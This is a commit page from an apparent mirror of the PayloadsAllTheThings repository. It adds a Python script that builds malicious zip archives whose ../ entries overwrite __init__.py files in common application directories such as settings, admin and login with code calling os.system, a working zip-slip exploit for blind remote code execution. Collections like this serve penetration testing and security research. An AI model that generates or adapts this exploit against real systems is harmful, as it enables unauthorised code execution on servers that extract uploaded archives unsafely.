mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-12-28 05:33:06 -08:00
Fix name's capitalization
This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,19 @@
|
||||
# Generating "evil" zip file
|
||||
# Based on the work of Ajin Abraham
|
||||
# Vuln website : https://github.com/ajinabraham/bad_python_extract
|
||||
# More info : https://ajinabraham.com/blog/exploiting-insecure-file-extraction-in-python-for-code-execution
|
||||
|
||||
# Warning 1: need a restart from the server OR debug=True
|
||||
# Warning 2: you won't get the output of the command (blind rce)
|
||||
import zipfile
|
||||
|
||||
directories = ["conf", "config", "settings", "utils", "urls", "view", "tests", "scripts", "controllers", "modules", "models", "admin", "login"]
|
||||
for d in directories:
|
||||
name = "python-"+d+"-__init__.py.zip"
|
||||
zipf = zipfile.ZipFile(name, 'w', zipfile.ZIP_DEFLATED)
|
||||
zipf.close()
|
||||
z_info = zipfile.ZipInfo(r"../"+d+"/__init__.py")
|
||||
z_file = zipfile.ZipFile(name, mode="w") # "/home/swissky/Bureau/"+
|
||||
z_file.writestr(z_info, "import os;print 'Shell';os.system('ls');")
|
||||
z_info.external_attr = 0o777 << 16
|
||||
z_file.close()
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user